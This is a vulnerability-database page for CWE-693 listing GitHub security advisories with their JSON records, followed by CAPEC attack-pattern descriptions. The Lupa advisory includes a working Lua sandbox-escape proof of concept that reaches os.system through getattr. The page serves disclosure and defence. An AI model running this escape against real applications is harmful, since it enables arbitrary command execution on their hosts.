CWE-693
DiscouragedProtection Mechanism Failure
Abstraction: Pillar · Status: Draft
The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.
979 vulnerabilities reference this CWE, most recent first.
GHSA-6932-P8GP-F49X
Vulnerability from github – Published: 2026-07-01 00:34 – Updated: 2026-07-01 15:35Insufficient policy enforcement in GPU in Google Chrome prior to 150.0.7871.47 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Low)
{
"affected": [],
"aliases": [
"CVE-2026-14037"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-30T23:17:16Z",
"severity": "CRITICAL"
},
"details": "Insufficient policy enforcement in GPU in Google Chrome prior to 150.0.7871.47 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Low)",
"id": "GHSA-6932-p8gp-f49x",
"modified": "2026-07-01T15:35:07Z",
"published": "2026-07-01T00:34:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14037"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop_0175352312.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/496522611"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-69J4-QVQR-HPW3
Vulnerability from github – Published: 2026-06-29 17:43 – Updated: 2026-06-29 17:43Summary
Description
A Protection Mechanism Failure (CWE-693) in OpenAM's server-side scripting sandbox allows an authenticated script author execute operating-system commands from the OpenAM JVM with the default class allow and deny lists. This impacts OpenAM Community Edition through version 16.0.6. This issue was patched in version 16.1.1.
Impact
An authenticated user (for example, a realm admin) who can create or edit server-side scripts for an executed context can run OS commands as the OpenAM application server admin. For a sub-realm RealmAdmin, this crosses the documented boundary from realm-scoped administration to JVM/host execution, effectively compromising the whole OpenAM process and every realm it serves. The sandbox is the only code-level defense between a realm script author and arbitrary JVM/OS execution.
Patch
This has been patched in OpenAM Community Edition version 16.1.1. Users are encouraged to update to the latest release.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 16.0.6"
},
"package": {
"ecosystem": "Maven",
"name": "org.openidentityplatform.openam:openam-scripting"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "16.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47424"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-29T17:43:29Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n**Description**\n\nA Protection Mechanism Failure (CWE-693) in OpenAM\u0027s server-side scripting sandbox allows an authenticated script author execute operating-system commands from the OpenAM JVM with the default class allow and deny lists. This impacts OpenAM Community Edition through version 16.0.6. This issue was patched in version 16.1.1.\n\n## Impact\nAn authenticated user (for example, a realm admin) who can create or edit server-side scripts for an executed context can run OS commands as the OpenAM application server admin. For a sub-realm `RealmAdmin`, this crosses the documented boundary from realm-scoped administration to JVM/host execution, effectively compromising the whole OpenAM process and every realm it serves. The sandbox is the only code-level defense between a realm script author and arbitrary JVM/OS execution.\n\n## Patch\nThis has been patched in OpenAM Community Edition version 16.1.1. Users are encouraged to update to the latest release.",
"id": "GHSA-69j4-qvqr-hpw3",
"modified": "2026-06-29T17:43:29Z",
"published": "2026-06-29T17:43:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-69j4-qvqr-hpw3"
},
{
"type": "PACKAGE",
"url": "https://github.com/OpenIdentityPlatform/OpenAM"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenAM Authenticated RCE via Groovy Sandbox Escape"
}
GHSA-69V7-XPR6-6GJM
Vulnerability from github – Published: 2026-04-07 15:48 – Updated: 2026-05-06 23:26Summary
The attribute_filter in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua.
However, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.
Details
The attribute_filter is meant to block access to attributes such as __class__, __mro__, and similar internal properties.
In practice, it only applies to direct attribute access:
- obj.attr → filtered
- getattr(obj, "attr") → not filtered
Because of this inconsistency, it’s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code.
An attacker can use getattr to-
- Access __class__
- Walk the __mro__ chain
- Call __subclasses__()
- Iterate over available classes
- Find a function that exposes __globals__
- Retrieve something like os.system
At that point, arbitrary command execution becomes straightforward.
This effectively breaks the security boundary that attribute_filter is expected to enforce.
PoC
The following example shows how the filter can be bypassed to execute os.system:'
import lupa
from lupa import LuaRuntime
def protected_attribute_filter(obj, attr_name, is_setting):
if isinstance(attr_name, str) and attr_name.startswith('_'):
raise AttributeError(f"Access to '{attr_name}' is forbidden")
return attr_name
lua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter)
class UserProfile:
def __init__(self, name): self.name = name
lua.globals().user = UserProfile("test")
lua.execute("""
local py = python.builtins
local getattr = py.getattr
local setattr = py.setattr
local cls = getattr(user, "__class__")
local _, obj_cls = getattr(cls, "__mro__")
local subs = getattr(obj_cls, "__subclasses__")()
for _, c in ipairs(subs) do
if tostring(c):find("os._wrap_close") then
local system = getattr(getattr(c, "__init__"), "__globals__")["system"]
setattr(user, "run", system)
user.run("id")
end
end
""")
Impact
An attacker who can execute Lua code can:
- Bypass the attribute_filter
- Access Python internals
- Traverse the object graph
- Reach execution primitives
This leads to full sandbox escape and arbitrary command execution in the host Python process.
Any application relying on attribute_filter as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the register_builtins=False option.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "lupa"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34444"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-07T15:48:13Z",
"nvd_published_at": "2026-04-06T16:16:35Z",
"severity": "HIGH"
},
"details": "### Summary\nThe `attribute_filter` in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua.\n\nHowever, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.\n\n### Details\nThe `attribute_filter` is meant to block access to attributes such as `__class__`, `__mro__`, and similar internal properties.\n\nIn practice, it only applies to direct attribute access:\n- `obj.attr` \u2192 filtered\n- `getattr(obj, \"attr\")` \u2192 not filtered\nBecause of this inconsistency, it\u2019s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code.\n\nAn attacker can use getattr to-\n- Access `__class__`\n- Walk the `__mro__` chain\n- Call `__subclasses__()`\n- Iterate over available classes\n- Find a function that exposes `__globals__`\n- Retrieve something like `os.system`\n\nAt that point, arbitrary command execution becomes straightforward.\n\nThis effectively breaks the security boundary that `attribute_filter` is expected to enforce.\n\n\n### PoC\nThe following example shows how the filter can be bypassed to execute `os.system`:\u0027\n```\nimport lupa\nfrom lupa import LuaRuntime\n\ndef protected_attribute_filter(obj, attr_name, is_setting):\n if isinstance(attr_name, str) and attr_name.startswith(\u0027_\u0027):\n raise AttributeError(f\"Access to \u0027{attr_name}\u0027 is forbidden\")\n return attr_name\n\nlua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter)\n\nclass UserProfile:\n def __init__(self, name): self.name = name\n\nlua.globals().user = UserProfile(\"test\")\n\nlua.execute(\"\"\"\nlocal py = python.builtins\nlocal getattr = py.getattr\nlocal setattr = py.setattr\n\nlocal cls = getattr(user, \"__class__\")\nlocal _, obj_cls = getattr(cls, \"__mro__\")\n\nlocal subs = getattr(obj_cls, \"__subclasses__\")()\nfor _, c in ipairs(subs) do\n if tostring(c):find(\"os._wrap_close\") then\n local system = getattr(getattr(c, \"__init__\"), \"__globals__\")[\"system\"]\n setattr(user, \"run\", system)\n user.run(\"id\")\n end\nend\n\"\"\")\n```\n\n\n### Impact\nAn attacker who can execute Lua code can:\n- Bypass the `attribute_filter`\n- Access Python internals\n- Traverse the object graph\n- Reach execution primitives\n\nThis leads to full sandbox escape and arbitrary command execution in the host Python process.\nAny application relying on `attribute_filter` as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the `register_builtins=False` option.",
"id": "GHSA-69v7-xpr6-6gjm",
"modified": "2026-05-06T23:26:55Z",
"published": "2026-04-07T15:48:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/scoder/lupa/security/advisories/GHSA-69v7-xpr6-6gjm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34444"
},
{
"type": "PACKAGE",
"url": "https://github.com/scoder/lupa"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr"
}
GHSA-6CP5-FPM8-87VG
Vulnerability from github – Published: 2025-11-11 18:30 – Updated: 2025-11-11 18:30Improper validation of generative ai output in GitHub Copilot and Visual Studio Code allows an authorized attacker to bypass a security feature locally.
{
"affected": [],
"aliases": [
"CVE-2025-62453"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-11T18:15:50Z",
"severity": "MODERATE"
},
"details": "Improper validation of generative ai output in GitHub Copilot and Visual Studio Code allows an authorized attacker to bypass a security feature locally.",
"id": "GHSA-6cp5-fpm8-87vg",
"modified": "2025-11-11T18:30:23Z",
"published": "2025-11-11T18:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62453"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62453"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6F2J-W8WG-P875
Vulnerability from github – Published: 2023-02-09 18:30 – Updated: 2025-03-24 21:30The phone-PC collaboration module has a logic bypass vulnerability. Successful exploitation of this vulnerability may affect data confidentiality and integrity.
{
"affected": [],
"aliases": [
"CVE-2022-48290"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-09T17:15:00Z",
"severity": "CRITICAL"
},
"details": "The phone-PC collaboration module has a logic bypass vulnerability. Successful exploitation of this vulnerability may affect data confidentiality and integrity.",
"id": "GHSA-6f2j-w8wg-p875",
"modified": "2025-03-24T21:30:26Z",
"published": "2023-02-09T18:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48290"
},
{
"type": "WEB",
"url": "https://consumer.huawei.com/en/support/bulletin/2023/2"
},
{
"type": "WEB",
"url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-202302-0000001454769474"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6F6W-29Q4-XJQ2
Vulnerability from github – Published: 2023-08-16 15:30 – Updated: 2024-04-04 06:59Dell PowerScale OneFS, 9.5.0.x, contains a protection mechanism bypass vulnerability. An unprivileged, remote attacker could potentially exploit this vulnerability, leading to denial of service, information disclosure and remote execution.
{
"affected": [],
"aliases": [
"CVE-2023-32493"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-16T14:15:11Z",
"severity": "CRITICAL"
},
"details": "\nDell PowerScale OneFS, 9.5.0.x, contains a protection mechanism bypass vulnerability. An unprivileged, remote attacker could potentially exploit this vulnerability, leading to denial of service, information disclosure and remote execution.\n\n",
"id": "GHSA-6f6w-29q4-xjq2",
"modified": "2024-04-04T06:59:50Z",
"published": "2023-08-16T15:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32493"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000216717/dsa-2023-269-security-update-for-dell-powerscale-onefs-for-multiple-security-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-6FFW-22X4-4X3R
Vulnerability from github – Published: 2022-05-24 16:45 – Updated: 2024-04-04 00:41A vulnerability in the Secure Sockets Layer (SSL)/Transport Layer Security (TLS) protocol parser of Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to bypass configured policies. The vulnerability is due to improper parsing of specific attributes in a TLS packet header. An attacker could exploit this vulnerability by sending malicious TLS messages to the affected system. A successful exploit could allow the attacker to bypass the configured policies for the system, which could allow traffic to flow through without being inspected.
{
"affected": [],
"aliases": [
"CVE-2019-1833"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-05-16T02:29:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the Secure Sockets Layer (SSL)/Transport Layer Security (TLS) protocol parser of Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to bypass configured policies. The vulnerability is due to improper parsing of specific attributes in a TLS packet header. An attacker could exploit this vulnerability by sending malicious TLS messages to the affected system. A successful exploit could allow the attacker to bypass the configured policies for the system, which could allow traffic to flow through without being inspected.",
"id": "GHSA-6ffw-22x4-4x3r",
"modified": "2024-04-04T00:41:17Z",
"published": "2022-05-24T16:45:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1833"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190515-ftd-ssltls-bypass"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/108338"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6GRP-7QP6-C6R9
Vulnerability from github – Published: 2026-07-14 18:32 – Updated: 2026-07-14 18:32Protection mechanism failure in Windows BitLocker allows an unauthorized attacker to bypass a security feature with a physical attack.
{
"affected": [],
"aliases": [
"CVE-2026-50661"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-14T18:17:59Z",
"severity": "MODERATE"
},
"details": "Protection mechanism failure in Windows BitLocker allows an unauthorized attacker to bypass a security feature with a physical attack.",
"id": "GHSA-6grp-7qp6-c6r9",
"modified": "2026-07-14T18:32:29Z",
"published": "2026-07-14T18:32:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50661"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6H59-64RJ-G8FP
Vulnerability from github – Published: 2022-05-24 16:45 – Updated: 2024-04-04 00:41A vulnerability in the detection engine of Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to bypass configured access control policies. The vulnerability is due to improper validation of ICMP packets. An attacker could exploit this vulnerability by sending crafted ICMP packets to the affected device. A successful exploit could allow the attacker to bypass configured access control policies.
{
"affected": [],
"aliases": [
"CVE-2019-1832"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-05-16T02:29:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the detection engine of Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to bypass configured access control policies. The vulnerability is due to improper validation of ICMP packets. An attacker could exploit this vulnerability by sending crafted ICMP packets to the affected device. A successful exploit could allow the attacker to bypass configured access control policies.",
"id": "GHSA-6h59-64rj-g8fp",
"modified": "2024-04-04T00:41:15Z",
"published": "2022-05-24T16:45:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1832"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190515-ftdde-poly-bypass"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/108340"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6H7W-7MF4-J36X
Vulnerability from github – Published: 2026-03-02 21:31 – Updated: 2026-03-02 21:31In broadcastIntentLockedTraced of BroadcastController.java, there is a possible way to launch arbitrary activities from the background on the paired companion phone due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2024-31328"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-02T19:16:24Z",
"severity": "HIGH"
},
"details": "In broadcastIntentLockedTraced of BroadcastController.java, there is a possible way to launch arbitrary activities from the background on the paired companion phone due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
"id": "GHSA-6h7w-7mf4-j36x",
"modified": "2026-03-02T21:31:28Z",
"published": "2026-03-02T21:31:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31328"
},
{
"type": "WEB",
"url": "https://source.android.com/docs/security/bulletin/wear/2026/2026-03-01"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/wear/2026-03-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-107: Cross Site Tracing
Cross Site Tracing (XST) enables an adversary to steal the victim's session cookie and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to a destination system's web server.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-20: Encryption Brute Forcing
An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-237: Escaping a Sandbox by Calling Code in Another Language
The attacker may submit malicious code of another language to obtain access to privileges that were not intentionally exposed by the sandbox, thus escaping the sandbox. For instance, Java code cannot perform unsafe operations, such as modifying arbitrary memory locations, due to restrictions placed on it by the Byte code Verifier and the JVM. If allowed, Java code can call directly into native C code, which may perform unsafe operations, such as call system calls and modify arbitrary memory locations on their behalf. To provide isolation, Java does not grant untrusted code with unmediated access to native C code. Instead, the sandboxed code is typically allowed to call some subset of the pre-existing native code that is part of standard libraries.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-477: Signature Spoofing by Mixing Signed and Unsigned Content
An attacker exploits the underlying complexity of a data structure that allows for both signed and unsigned content, to cause unsigned data to be processed as though it were signed data.
CAPEC-480: Escaping Virtualization
An adversary gains access to an application, service, or device with the privileges of an authorized or privileged user by escaping the confines of a virtualized environment. The adversary is then able to access resources or execute unauthorized code within the host environment, generally with the privileges of the user running the virtualized process. Successfully executing an attack of this type is often the first step in executing more complex attacks.
CAPEC-51: Poison Web Service Registry
SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.
CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-65: Sniff Application Code
An adversary passively sniffs network communications and captures application code bound for an authorized client. Once obtained, they can use it as-is, or through reverse-engineering glean sensitive information or exploit the trust relationship between the client and server. Such code may belong to a dynamic update to the client, a patch being applied to a client component or any such interaction where the client is authorized to communicate with the server.
CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)
An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.
CAPEC-74: Manipulating State
The adversary modifies state information maintained by the target software or causes a state transition in hardware. If successful, the target will use this tainted state and execute in an unintended manner.
State management is an important function within a software application. User state maintained by the application can include usernames, payment information, browsing history as well as application-specific contents such as items in a shopping cart. Manipulating user state can be employed by an adversary to elevate privilege, conduct fraudulent transactions or otherwise modify the flow of the application to derive certain benefits.
If there is a hardware logic error in a finite state machine, the adversary can use this to put the system in an undefined state which could cause a denial of service or exposure of secure data.
CAPEC-87: Forceful Browsing
An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.